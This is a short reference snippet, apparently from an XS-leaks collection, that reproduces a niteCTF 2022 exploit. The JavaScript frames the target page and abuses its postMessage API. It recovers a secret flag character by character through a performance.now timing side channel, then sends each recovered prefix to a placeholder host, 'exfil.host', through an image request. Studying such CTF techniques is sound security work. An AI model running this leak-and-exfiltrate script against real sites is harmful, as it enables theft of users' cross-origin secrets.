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performance.now example ​

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Example taken from https://ctf.zeyu2001.com/2022/nitectf-2022/js-api

javascript
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));

async function check(flag) {
    let w = frame.contentWindow;
    w.postMessage({'op': 'preview', 'payload': '<img name="enable_experimental_features">'}, '*');
    await sleep(1);
    w.postMessage({'op': 'search', 'payload': flag}, '*');
    let t1 = performance.now();
    await sleep(1);
    return (performance.now() - t1) > 200;
}

async function main() {
    let alpha = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}';
    window.frame = document.createElement('iframe');
    frame.width = '100%';
    frame.height = '700px';
    frame.src = 'https://challenge.jsapi.tech/';
    document.body.appendChild(frame);
    await sleep(1000);

    let flag = 'nite{';
    while(1) {
        for(let c of alpha) {
            let result = await Promise.race([
                check(flag + c),
                new Promise((res) => setTimeout(() => { res(true); }, 300))
            ]);
            console.log(flag + c, result);
            if(result) {
                flag += c;
                break;
            }
        }
        new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
    }
}

document.addEventListener('DOMContentLoaded', main);
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